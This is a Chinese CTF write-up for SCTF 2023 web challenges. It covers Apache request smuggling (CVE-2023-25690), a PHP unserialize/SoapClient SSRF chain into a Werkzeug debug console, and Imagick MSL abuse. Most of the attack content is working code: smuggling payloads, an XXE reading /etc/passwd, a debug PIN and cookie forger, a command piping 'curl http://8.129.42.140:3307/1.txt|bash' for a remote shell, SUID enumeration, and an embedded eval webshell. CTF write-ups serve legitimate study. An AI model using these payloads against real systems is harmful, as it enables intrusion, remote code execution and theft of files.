SCTF 2023 wp
前言
考六级耽误掉了一天,然后有事又耽误掉白天,最后19号晚上开始上分,然并卵,就只出了一个签到题,菜
siumai和广工是真的太猛了!
我退役以后深大就快没web了!!!!!好担心!!!!!
checkin
wp
访问/2023的时候,抓包看http头可以发现apache版本
由于也没给其他信息就只能从这里开始翻和这个版本相关的漏洞
最后是找到这个了
参考:奇安信攻防社区-CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用 (butian.net)
思路是:走私一个http,可能走私的http是不会被2022或者2023限制的
那篇文章省流的说:就是CRLF直接走私,可以直接如下脚本
import os
### 读取http.txt文件 ###
httptext = ""
f = open('http.txt', 'r')
#### 读取文件内容,将每一行中的空格替换为%20 ####
for line in f.readlines():
line = line.replace(' ', '%20')
# print(line)
#### 将每一行的\n替换为%0d%0a ####
#### 并存储到httptext中 ####
httptext = httptext + line.replace('\n', '%0d%0a')
f.close()
httptext = httptext + ""
print(httptext)
得到的httptext替换掉burp相应部分就好,后面意识到一个问题,就是?必须编码成%3F
exp1
/2023/abc%20HTTP/1.1%0d%0aHost:%204ozznv.dnslog.cn%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0aGET%20/2022.php%3Furl=8.129.42.140:3307/%20HTTP/1.1%0d%0aHost:%204ozznv.dnslog.cn%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0aGET%20/
后面精简了一下
/2023/abc%20HTTP/1.1%0d%0aHost:%204ozznv.dnslog.cn%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0aGET%20/2022.php%3Furl=8.129.42.140:3307/%20HTTP/1.1%0d%0aHost:%204ozznv.dnslog.cn%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0aGET%20/
也可以的
其实就是发这个包
走私中间这个
一开始我是用类似这样的脚本发的(参考文章的脚本)
但是发现问号没有编码
把这些要用脚本发送的请求报文都拿出来,直接贴到burp, 把问号编码一下,就可以了(就是我放在最前面的脚本)
思考
做这个题的时候基本上是半蒙半猜的状态,现在仔细思考了一下
还是有疑点,就是这题是怎么实现的,原理是怎么样的
后来发现访问/是apache2.4.55
/2023是apache2.4.54
这就是题目所说的两个容器
all in all,第一个容器检查所有的http的url必须有2023,第二个容器则不清楚,但是2022路由下的$flag应该是真flag
这里通过走私的方法绕过第一个容器的限制并访问到2022,然后file_get_contents是用来外带$flag的
还有就是 http://115.239.215.75:8082/2023?url=8.134.216.221:1234/是没法外带的, http://115.239.215.75:8082/2023&url=8.134.216.221:1234/居然才可以外带,搞得我很长一段时间以为不出网
但是2022那个容器可以直接用?外带出来,虽然这个细节不影响做题步骤,但是很影响思考!
找个机会玩玩apache和nginx,太生了
pypyp
扫目录扫到
/cgi-bin/printenv
/cgi-bin/test-cgi
但是试了CVE-1999-0070是没用的
吐槽
题目是pypyp,还说注意app/app.py,结果一开始是个php,所以一直以为session_not_start是个pythonweb,方向错了!!
wp
(是复现的)
这个题一开始访问显示session not start,但因为看题目描述以为是pythonweb就没接着往下猜,其实是个php的session
if(!isset($_SESSION)){
die('Session not started');
}
随便传一个PHP_SESSION_UPLOAD_PROGRESS和cookie过去
POST / HTTP/1.1
Host: 115.239.215.75:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
Content-Length: 165
Cookie: PHPSESSID=tel
Content-Type: multipart/form-data; boundary=------------------------4d36e262cd7115a1
--------------------------4d36e262cd7115a1
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
111
--------------------------4d36e262cd7115a1--
就可以看到源码
看到这个extract
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
可以知道起码到extract这里上面所有的变量都是可控的
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
这里有三部分,
第一部分这里调了sctf,应该是触发SoapClient的
$object = unserialize(urldecode($properties));
$object -> sctf();
第二部分
$object = new $type($properties[0],$properties[1]);
这里可以FilesystemIterator等等
Filesystem虽然也支持传入两个参数但是没有枚举文件的条件,最多就是用上glob协议了
SplFileObject可以
$a = new SplFileObject('/flag.txt','r');
echo $a;
当然也是只能一行,鸡肋
siumai的师傅用的是SimpleXMLElement的xxe读取文件
官方文档中对于SimpleXMLElement 类的构造方法
SimpleXMLElement::__construct
的定义如下:public SimpleXMLElement::__construct( string $data, int $options = 0, bool $dataIsURL = false, string $namespaceOrPrefix = "", bool $isPrefix = false )
其中值得注意的是
$data
和$data_is_url
这个两个参数:
$data
:格式正确的XML字符串,或者XML文档的路径或URL(如果$data_is_url
为true)。
$data_is_url
:默认情况下$data_is_url
为false。使用true指定$data
的路径或URL到一个XML文件,而不是字符串数据。可以看到通过设置第三个参数
$data_is_url
为true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
example:
%remote;]> ]>
&xee EOF; $xml_class = new SimpleXMLElement($xml, LIBXML_NOENT); var_dump($xml_class); ?>实现了引用外部实体。同理我们可以让上面代码中的
$xml
中的内容放到自己的VPS中,然后在新建类对象的时候第一个参数写的是URL地址去实现XML文件的远程载入,这样也能实现XXE。
当然如果只是读取文件的话,不需要加载外部xml。
a:2:{s:10:"properties";a:2:{i:0;s:98:"<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>&xxe;</root>";i:1;i:2;}s:4:"type";s:16:"SimpleXMLElement";}
试过glob协议找flag读flag,应该是没权限
第三部分
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
请求了5000端口,这应该是某个服务的端口
题目要求我们读app/app.py
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
debug为true,那就是狠狠算pin码了算cookie打rce,soupClient刚好可以构造整个报文
exp
a:1:{s:10:"properties";s:75:"console?__debugger__=yes&cmd=pinauth&pin=121-260-582&s=DhOJxtvMXCtezvKtqaK9";}
算对pin码后rce,需要cookie,这里看不到resp头所以要自己算
/usr/lib/python3.8/site-packages/flask/app.py
/sys/class/net/eth0/address 02:42:ac:13:00:02
/proc/sys/kernel/random/boot_id 349b3354-f67f-4438-b395-4fbc01171fdd
算cookie
if auth:
rv.set_cookie(
self.pin_cookie_name,
f"{int(time.time())}|{hash_pin(pin)}",
httponly=True,
samesite="Strict",
secure=request.is_secure,
)
cookie的name是self.pin_cookie_name
cookie的value是这个:f"{int(time.time())}|{hash_pin(pin)}"
pin_cookie_name找了一个pin_cookie_name的函数,里面有个
总结一个脚本:
import hashlib
from itertools import chain
import time
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378023426',# str(uuid.getnode()), /sys/class/net/ens33/address
'349b3354-f67f-4438-b395-4fbc01171fdd'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
## hash_pin
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
## cookie_value
pin = rv
# pin = "121-260-582"
cookie_value = f"{int(time.time())-8*3600}|{hash_pin(pin)}"
print(rv)
print("*******")
print(cookie_name)
print("*******")
print(cookie_value)
看到代码,它是验证pin后直接返回cookie,cookie中的value的时间戳是变化的,其他都是固定值
import requests
url = 'http://115.239.215.75:8081/'
exp = 'a:1:{s:10:"properties";s:527:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A148%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.popen%28%22curl%2520http%3A%2F%2F8.129.42.140%3A3307%2F1.txt%7Cbash%22%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A63%3A%22test%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687159412%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}'
data={'data':exp,'PHP_SESSION_UPLOAD_PROGRESS':'abu'}
r = requests.post(url,data=data,headers={'Cookie':'PHPSESSID=abu'},files={'file':'sss'})
print(r.text)
然后看手速,顺序是发送pin码,运行下面这个:
import hashlib
from itertools import chain
import time
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378023426',# str(uuid.getnode()), /sys/class/net/ens33/address
'349b3354-f67f-4438-b395-4fbc01171fdd'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
## hash_pin
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
## cookie_value
pin = "121-260-582"
cookie_value = f"{int(time.time())-8*3600}|{hash_pin(pin)}"
### 注意这个-8*3600,毕竟是国际比赛,用的格林尼治时间
print(rv)
print("*******")
print(cookie_name)
print("*******")
print(cookie_value)
算出cookie_value竖线前面的时间戳(其他都一样)
然后再放到这个php里面算出序列化data
<!-- <?php
$o = new SoapClient(null,array(
'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").system("curl 8.129.42.140:3307")&frm=0&s=DhOJxtvMXCtezvKtqaK9 ', 'uri'=>'http://127.0.0.1:5000/console',
'user_agent' => "tel\r\nCookie: __wzdb2a60e2b19822632a67c=1687186617|11b8517fb9fb"
));
$data["properties"] = urlencode(serialize($o));
echo serialize($data);
echo "\n";
echo "1687099139|11b8517fb9fb\n";
?> -->
<?php
$exp1 = new SoapClient(null,array('user_agent'=>"test\r\nCookie: __wzdb2a60e2b19822632a67c=1687159790|11b8517fb9fb",'location'=>'http://127.0.0.1:5000/console?__debugger__=yes&cmd=__import__("os").popen("curl%20http://8.129.42.140:3307/1.txt|bash")&frm=0&s=DhOJxtvMXCtezvKtqaK9','uri'=>'test'));
$arr3 = array("properties"=>urlencode(serialize($exp1)));
$b = serialize($arr3);
echo $b;
最后起监听,使用如下python脚本发包
import requests
url = 'http://115.239.215.75:8081/'
exp = 'a:1:{s:10:"properties";s:527:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22location%22%3Bs%3A148%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.popen%28%22curl%2520http%3A%2F%2F8.129.42.140%3A3307%2F1.txt%7Cbash%22%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A63%3A%22test%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687159412%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}'
data={'data':exp,'PHP_SESSION_UPLOAD_PROGRESS':'abu'}
r = requests.post(url,data=data,headers={'Cookie':'PHPSESSID=abu'},files={'file':'sss'})
print(r.text)
我尝试bash-i直接反弹shell不行,然后还是用这种比较好
拿到shell后提权
96f7c71c69a6:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/curl
/usr/bin/gpasswd
/usr/bin/expiry
/usr/bin/chfn
/usr/bin/chage
/usr/bin/chsh
/usr/sbin/suexec
还是想吐槽一下时间戳
用它的机器跑,时间戳也是北京时间,但是不知道为啥必须要用UTC(格林尼治时间)才可以打
这就是Py的含金量吗
SycServer(待复现)
2022年d3go学了一个星期逆向就放弃了,结果这次比赛丢给腾讯游戏安全晋级选手来逆也逆不明白,只能说web手该努力学逆向了
希望评论区懂哥可以教一下怎么逆go服务端
fumo_backdoor
评价是没打国赛final吃大亏, 建议以后多带我打线下
CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub
这个是很难搜了8
原题思路是利用 imagick的特性,先用文件上传+Cookie:PHPSESSID=tel
, 这样可以得到一个php_xxx的sess文件,这个文件是webshell
随后include进来就可以,很典型的session文件上传+文件包含getshell
这个题删除了文件包含点,给了readfile函数,很显然如果可以readfile(/flag)就行,但是flag被过滤了
绕过flag过滤的方法最后看了别的师傅(tel爷我舔爆!)的wp。做法是找一个比较优秀的 imagick标签,可以移动flag至/tmp/FLAG,然后我们readfile读取FLAG就行
准备好这两个 hack.xml
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8P3BocCBldmFsKCRfR0VUWzFdKTs/PnxPOjEzOiJmdW1vX2JhY2tkb29yIjozOntzOjQ6InBhdGgiO3M6OToiL3RtcC9GTEFHIjtzOjQ6ImFyZ3YiO047czoxOiJjIjtOO30=" />
<write filename="/tmp/sess_tel" />
</image>
lfi.xml
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="app1:/flag" />
<write filename="/tmp/FLAG" />
</image>
先删除/tmp
# rm
print("[*]rm /tmp/php*")
r = requests.get(ip + "?cmd=rm")
print(r.text)
传一个移动文件的标签app
print("[*]file write lfi.xml")
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
这个时候new Imagick("vid:msl:/tmp/php*") 执行后,会把phpvS9T1F的内容执行,也就是复制一个FLAG出来
然后是想办法调用readfile,想调用readfile必须触发sleep,想要序列化一个类,就必须考虑到sess,所以后面需要sess_start进行反序列化。
我们还是先用new Imagick("vid:msl:/tmp/php*") 创建好phpsess文件,后面sess_start会把它写到sess_tel中
# file write2 ;write a serialze file for readfile(/tmp/FLAG)
print("[*]file write hack.xml")
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
然后我们sess_start,这个文件会被写到sess_tel中,由于我们一直带着cookie:PHPSESSID=tel访问,所以只要php引擎根据这个sess_tel文件自动序列化时就会触发,当然这个概率是100%,只是出现时间比较随机
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
这个sess_tel不一定总能写入,实测就是sleep(1)或者sleep(10)还可以
当出现上面这个sess_tel时,直接sess_start就能出
time.sleep(1)
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
一开始复现用s1umai的脚本做的,太猛了真的
(这里就不贴人家的脚本,防止引流,建议大家主动关注siumai)
赛后自己思考后魔改了一下
import sys
import requests
import time
usage = """
第一次先运行
python -u exp.py hack
第二次再运行
python -u exp.py 1
不一定100%成功,因为session反序列化的节奏不好控制
"""
ip = "http://127.0.0.1:18080/"
url = ip + "?cmd=unserialze"
# url = "http://127.0.0.1:18080/?cmd=unserialze"
def sleep():
time.sleep(1)
## sleep 1s for session serilize. server will sleep 1s when session_start
if sys.argv[1] == "hack":
# rm
print("[*]rm /tmp/php*")
r = requests.get(ip + "?cmd=rm")
print(r.text)
sleep()
# file write1 ;move flag to /tmp/FLAG
print("[*]file write lfi.xml")
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
print("[*]file write lfi.xml")
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("lfi.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
sleep()
# file write2 ;write a serialze file for readfile(/tmp/FLAG)
print("[*]file write hack.xml")
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";s:17:"vid:msl:/tmp/php*";s:4:"func";N;s:5:"class";s:7:"Imagick";}'}, files={"file1":open("hack.xml").read()},headers={"Cookie":"PHPSESSID=tel"})
# print(r.text)
# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
else:
# session_start
sleep()
r = requests.post(url, data={"data":'O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:13:"session_start";s:5:"class";N;}'}, headers={"Cookie":"PHPSESSID=tel"})
print(r.text)
或者把sleep时间调大一点也可以一次出
hello_java(待复现)
前面这里一个绕过,绕完可以反序列化